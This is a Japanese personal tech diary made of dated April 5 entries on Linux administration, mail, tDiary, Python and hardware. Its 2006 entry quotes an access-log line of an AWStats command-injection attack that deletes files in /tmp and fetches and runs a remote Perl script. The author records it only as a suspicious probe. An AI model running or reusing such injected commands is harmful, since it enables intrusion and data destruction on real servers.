トップ «前の日(04-04) 最新 次の日(04-06)» 追記

屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2005-04-05(Tue) でかいのごめん

遂に

やってしまった。どうしても紙ベースで読みたかったし、 さりとて手許のインクジェットの、さほどでない印字品質の紙が150枚以上散乱 するのも嫌だった。 また、「本」としての LinuxPersonalWorkstationを一度見たかった。 つうわけでキンコーズにPDFファイルを持ち込み、 適当に仕様を決めて(オペレータ氏は若干てこずった模様)、 ついにゲット。
モノクロ出力、テープ製本、表紙(も少し凝っても良かった)、 それに手数料、かける消費税で〆5千円弱。

w3mのmail

もうまくゆかない。原因究明は後で。

wget -N

がうまくいってなかった。何故だろうなぁ。 httpサーバ上のファイルを更新すると、確かに新しいのに入れ替わる 事は確認できたのに。とりあえず手動更新でしのぐ。

此奴は

何者だろうなぁ。telnetでもやってたのだろうか。

218.66.64.241 - - [05/Apr/2005:06:54:32 +0900] "GET / HTTP/1.0" 200 3891 "-" "-"
218.66.64.241 - - [05/Apr/2005:06:59:45 +0900] "-" 408 - "-" "-"
218.66.64.241 - - [05/Apr/2005:07:00:04 +0900] "-" 408 - "-" "-"
218.66.64.241 - - [05/Apr/2005:07:00:39 +0900] "-" 408 - "-" "-
 
$host 218.66.65.241
Host 241.65.66.218.in-addr.arpa not found: 3(NXDOMAIN)

at@freebsd

指摘に気づいて、 manを、そしてそのリンク先を読み直す。/etc/crontabなんて知らなかった。 cronジョブは /etc/passwdを 軒並 crontab -u $userしても、全部見付かる訳ではない (これはどうみても)罠。

なかなか

pdfの長いのを読むのはつらい。まして文字の一部(ときにはページ全体)が 表示されないと尚のことだ。改訂を経ているだけあって誤字脱字はかなり 少ない様子だが、pdfのシステム依存性はなんとかならんものか。

と思ったら、ドキュメントは壊れていたっぽい。改めて(自サイトから)取ってきたもの は↓のエラーは見当たらなくなっていた。

x11rec

を入れてみた。 LinuxPersonalWorkstationをAdobe7.0で開いた途端に 一瞬出るエラーメッセージを捕まえる為だ。
gimpを使ったり、ファイルを開いた次の瞬間に、xwdを割り当てた ショートカットキーを "えいやッ"と押下したりしたが、 いずれも失敗していた。 (シェルスクリプトでxwdを連続実行していたら、どれか でキャプチャできてたかもしれない)

x11recによりgif形式でキャプチャした画像をgimpで開く。 画像を睨みながらレイヤを表示させ、上から順番に一つずつごみ箱に 捨てていった。 獲物が姿を現したところを見計らって可視レイヤーを統合し、 トリミングして保存。

...したが、枠がないので物足りず、結局gimpで↑を再度キャプチャ して日記に貼った。

それにしてもGUIって不便だなぁ。 CLI(cmd.exeなどは知らんが) だったら、エラーメッセージを捕捉するだけでここまで大騒ぎするか?


2006-04-05(Wed) どでも

Outlook Express6で

$ uuencode hoge hoge | mail $TO を 受信してみた。ちゃんとhogeが添付されていた。 念のためmd5やってみたが、全く同じだ。
$ cat hoge | uuencode - | mail $TO すると、 添付ファイルは"-"となり、マウスカーソルで つまみ出すと"-.dat"となった。

またジオ

以下、アクセスログをデコード、適当に改行。

212.5.109.38 - - [05/Apr/2006:11:25:23  0900] 
  "GET //awstats.pl?configdir=|echo ;
   cd /tmp;
   rm -rf *;
   curl -O http://www.geocities.com/jdskdfjis/b.pl;
   perl b.pl;
   echo ;
   rm -rf b.pl*;
   echo| HTTP/1.1" 
   404 472 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
(ry

当該ページもかなり怪しい。迂闊には踏めない。

縦横比が偏った

NoteでKNOPPIXを立ち上げるときは、screen=1600x1050などと やっても駄目だったりする。

外部ディスプレイを つなぎ、出力をそちらに切り替えるという手もある。
KDEがあがってから出力をLCDに戻すと(ぺしゃんこながらも)表示できた。


2007-04-05(Thu) 半透明な気分

牢固たる2GBの壁

fetchmailがいくつか、いつのまにか止まっていた。
再度実行しても、終了コード0を残して、瞬時に終了してしまう。何のログも残さない。
-c オプションをつけて実行すると、 "File size limit exceeded"。
何が原因か、なかなか分からなかったが、ふと ログファイルをみると、動かせなくなった fetchmailのログのファイルサイズは(日付は食い違っているが)、 揃って2147483647バイトだった。

$ echo "1024 * 1024 * 1024 * 2" | bc
2147483648

勿論"Linux debian 2.6.8-2-386"のせいじゃない。 もっと大きいファイルなどいくらでもある。sambaで ざくざくコピーしたりしている。
ログをリネームして、再度fetchmailを実行すると、ちゃんと動いた。

よく確認すると、cronが止まっていた。
その結果、とある日時より、すべてのログがrotateされなくなっている。 あまり使ってなかったので気を抜いていたが、 ツケは溜まっていた。

fetchmailのリビジョンが上がっていたので apt-get install したが、まだ直ってない。らしい。


2008-04-05(Sat) はれてもぐっすり

なんとなく

屑部録 style.css全行に^#。

そのうちに色を付けるとするか。

A × B

小学校で習った九九の延長以外の例。

A を 半分にしてA'、A'を半分にしてA''...を、1が残るまで。
同じ回数だけ Bを倍にしてB'、そしてまた倍にしてB''。
そして(A % 2 * B) + (A' % 2 * B') + ... を合計する。
以下、 27×12 の例:

段数 A A % 2 B A % 2 * B
1 27 1 12 12
2 13 1 24 24
3 6 0 48 0
4 3 1 96 96
5 21 1 192 192
合計       324

なんでそうなるのか、あまりよくわからないけど。

訂正。3を2で割ったら、商が1で剰余1。

tdiary-2.2.1

アーカイブを解凍して、旧い方から.htaccess と imagesディレクトリとtdiary.conf と plamo_orichar_banner_color_11.png をコピーし、ディレクトリ名を置換する。
だけでバージョンアップ完了。

tdiaryもUTF-8化して行くようだ。さてどう対応するか。

書き込んでみると、はたせるかな。
エラー出た出た。

500 Internal Server Error
 
Permission denied - /home/kuzu/diary/volatile.tdr (Errno::EACCES)
 
(plugin/05referer.rb):185:in `initialize'
/home/kuzu/public_html/diary/tdiary.rb:105:in `join'
/home/kuzu/public_html/diary/tdiary.rb:105:in `safe'
/home/kuzu/public_html/diary/tdiary.rb:749:in `eval_src'
/home/kuzu/public_html/diary/tdiary.rb:1095:in `do_eval_rhtml'
/home/kuzu/public_html/diary/tdiary.rb:1445:in `do_eval_rhtml'
/home/kuzu/public_html/diary/tdiary.rb:1037:in `eval_rhtml'
/home/kuzu/public_html/diary/update.rb:62

そんなファイル、これまではなかった。
touch volatile.tdr し、chgrp $WWWGRPUP と chmod 664 で、 エラーなく書き込めるようになった。

おっとっと。w3mで見ていたので、CSSを忘れていた。theme/default/default.css とかもコピー。
それから、index.rdf と index.rb も。


2009-04-05(Sun) くもり

ちょっとずつ

Linux From Scratch の使用感を快適にするためあれこれ。
alsaconf がコケる。dialogとかwhiptailとか、とにかく 文字端末でウィザードに必要なものがあるらしい。
ぐぐりにくそうなので、debian から dialog_1.1-20080316.orig.tar.gz を貰って入れる。

音が鳴るようになった。libflashplayer.so を firefox/plugins に入れる。

Openboxの背景に xearth、Unicode rxvt と Firefox で、さしあたりの環境はできた。


2010-04-05(Mon) くもり

迷ったらdir()

$ python
Python 2.6.2 (r262:71600, Aug 23 2009, 21:31:53)
[GCC 4.2.4] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> dir()
['Ks', '__builtins__', '__doc__', '__name__', '__package__',
 'key', 'rec', 'red', 'squares', 'x']
>>> dir(red)
['__add__', '__class__', '__contains__', '__delattr__',
 '__delitem__', '__delslice__', '__doc__', '__eq__', 
 '__format__', '__ge__', '__getattribute__', '__getitem__', 
 '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', 
 '__init__', '__iter__', '__le__', '__len__', '__lt__', 
 '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__',
 '__repr__', '__reversed__', '__rmul__', '__setattr__', 
 '__setitem__', '__setslice__', '__sizeof__', '__str__', 
 '__subclasshook__', 'append', 'count', 'extend', 'index', 
 'insert', 'pop', 'remove', 'reverse', 'sort']
>>> dir(red.sort)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__',
 '__eq__', '__format__', '__ge__', '__getattribute__',
 '__gt__', '__hash__', '__init__', '__le__', '__lt__', 
 '__module__', '__name__', '__ne__', '__new__', '__reduce__',
 '__reduce_ex__', '__repr__', '__self__', '__setattr__',
 '__sizeof__', '__str__', '__subclasshook__']

てけとーにコピペ

>>> print round (145.454545, -2)
100.0
>>> print round (145.454545, -1)
150.0
>>> print round (145.454545, -0)
145.0
>>> print round (145.454545, 1)
145.5
>>> print round (145.454545, 2)
145.45
>>> print round (145.454545, 3)

2013-04-05(Fri) よく晴れてるが、別に

なんとなくpython

数値を 二進値の文字列に変えて 先頭の二文字を取り除き 2文字以内、そして5文字以内の 隙間詰めと、文字列の 左寄せフォーマット出力 繰り返し20回。 を、 標準出力

#!/usr/bin/env python3
 
for x in range(20):
  print('{0:2}'.format(x),':', 
    '{0:>5}'.format(bin(x).
      replace('0b','')))
$ python3 bin++.py 
 0 :     0
 1 :     1
 2 :    10
 3 :    11
 4 :   100
 5 :   101
 6 :   110
 7 :   111
 8 :  1000
 9 :  1001
10 :  1010
11 :  1011
12 :  1100
13 :  1101
14 :  1110
15 :  1111
16 : 10000
17 : 10001
18 : 10010
19 : 10011

python2でも動くことは動くが。

(' 0', ':', '    0')
(' 1', ':', '    1')
(' 2', ':', '   10')
(' 3', ':', '   11')
...

配色が適当過ぎる。このあたりでやめておく。

else も #tも同じというわけでは

ないけど。

(define test
  (lambda (foo)
    (cond
     ((eq? foo 1) 'first)
     ((eq? foo 2) 'second)
     (#t 'default))))
gosh> (test 1)
first
gosh> (test 2)
second
gosh> (test 3)
default
gosh> (test 0)
default

2015-04-05(Sun) 降ったり曇ったり

USB to シリアル変換ケーブル

変換チップを埋め込んだケーブル。 片端がUSBで、他方が4本のピンに分かれている。
共立で995円。
袋には、seeedstudio 359313001とか、かすれ気味に 印刷してあった。
Ubuntu14.04であっさり。

$ diff before after
1070a1071,1077
> [ 2439.350616] usb 3-1: new full-speed USB device number 3 using xhci_hcd
> [ 2439.386973] usb 3-1: New USB device found, idVendor=067b, idProduct=2303
> [ 2439.386985] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> [ 2439.386991] usb 3-1: Product: USB-Serial Controller
> [ 2439.386996] usb 3-1: Manufacturer: Prolific Technology Inc.
> [ 2439.390016] pl2303 3-1:1.0: pl2303 converter detected
> [ 2439.418347] usb 3-1: pl2303 converter now attached to ttyUSB0

取説がなく、4本足のどれがどこに接続されるのか 分からず適当に検索。
千石電商のページによると、

赤: +5V
黒: GND
緑: TxD
白: RxD

適当なPIに繋いでみたが、通信はなぜかできなかった。
何か設定が必要なのかも。


2016-04-05(Tue) 桜満開。花粉下り坂だといいけど

squid3

デフォルトの設定が、 こないだより少しきつくなっていた(jessie)。
今回/etc/squid3/squid.confへの追加は以下。

http_access allow Safe_ports
acl localnet src $LOCAL_NETWORK_ADDR/MASK
http_access allow localnet

netsh要らなくなったかも

win8くらいまでIEのプロキシをWindows Update が自動では認識せず、 手動設定していたはず。
手許でNATを設定し、FORWARDをDNSのみに制限して 仮想環境のWin10をtcpdumpで見てみたが、 管理者モードのコマンドプロンプトで設定しなくても プロキシにアクセスしている様子が観察された。

やり方に若干の不備あったようで、「不要」とまでは 断言しかねているが。


リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。

index.htmlは ここから。